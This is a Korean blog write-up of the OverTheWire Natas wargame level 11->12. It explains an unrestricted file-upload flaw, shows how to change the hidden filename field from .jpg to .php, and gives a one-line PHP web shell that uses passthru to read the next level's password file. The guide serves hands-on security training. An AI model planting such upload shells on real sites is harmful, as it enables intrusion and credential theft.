해킹&보안/웹해킹

[웹 해킹 : 나타스(Natas 워게임] Level 11 -> 12(웹 해킹 / 보안)

yamaeking 2025. 4. 7. 14:22

Natas wargame Level 11 -> 12 로그인 정보와 URL 은 아래와 같다.

 

OverTheWire

We're hackers, and we are good-looking. We are the 1%. <!-- Please read and accept the Rules! --> Username: natas1 URL: http://natas1.natas.labs.overthewire.org

overthewire.org

 

 

1. 문제 풀이

 > Natas URL로 접속하면 아래 화면이 나온다

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "<censored>" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

 

> 소스코드는 위와 같고, 내용은 대략 아래와 같다.

 

  • 사용자가 .jpg 확장자로 업로드하면, 서버는 그 파일을 랜덤한 이름으로 upload/ 디렉토리에 저장함.
  • 조건은:
    • 업로드 파일 사이즈 ≤ 1000 bytes
    • 파일 확장자는 filename POST 파라미터에 따라 결정됨 (hidden input)
    • 업로드 후, 링크로 접근 가능: The file <a href="...">... ← 이걸로 파일 실행 가능

 

 

 

우선 shell.php 라는 이름으로 php 파일 하나 만들자 내용은 아래처럼 넣으면 된다. (메모장에서 작성하고 php 확장자로 저장하면 됨.)

<?php 
passthru("cat /etc/natas_webpass/natas13");
 ?>

 

 

파일 선택을 하고, 그 뒤에 F12 개발자모드에서 아래의 항목에서의 value를 abc.php 로 바꾸도록 하자.

 

 

그리고 업로드 버튼을 누르면 아래와 같이 링크가 나온다.

 

링크를 클릭하면 비밀번호 획득 가능!

 

본 레벨을 정리하자면 아래와 같다.

 

natas12 페이지는 사용자가 이미지를 업로드할 수 있도록 해준다. HTML 코드를 보면 다음과 같이 구성되어 있다.

<form enctype="multipart/form-data" action="index.php" method="POST">
  <input type="hidden" name="MAX_FILE_SIZE" value="1000" />
  <input type="hidden" name="filename" value="랜덤이름.jpg" />
  <input name="uploadedfile" type="file" />
  <input type="submit" value="Upload File" />
</form>
  • 파일 이름(filename)은 숨겨진 필드이며, 사용자가 직접 바꿀 수 있다. (위에서 했던 것처럼.)
  • 업로드된 파일은 서버의 upload/ 디렉토리에 저장된다.
  • 저장 시 파일 확장자는 클라이언트가 지정한 값 그대로 사용된다.

 

위에서 취약점이 발생한다.

filename 필드와 uploadedfile 필드의 조합이 확장자 필터링 없이 처리되고 있다. 즉, JPEG만 받겠다고 했지만 실제로는 .php 파일도 업로드가 가능하다.

// 필터링 없음
move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path);

 

그러면 php 파일을 업로드한 뒤(filename을 수정해서), 링크를 통해서 그 파일로 접근을 하게 되면 작성하였던 쉘 스크립트가 실행된다. ( <?php 
passthru("cat /etc/natas_webpass/natas13");  
 ?> )

 **passthru는 명령어 실행하는 함수라고 보면 됨.

 

최종적으로 저 cat 명령어를 통해 비밀번호를 획득할 수 있게 되는 것이다.

 

 

2. 요약

☞ 파일 업로드 시의 취약점을 이용하여 쉘 스크립트 파일(php)을 업로드 한 뒤 실행 시켜 비밀번호 GET!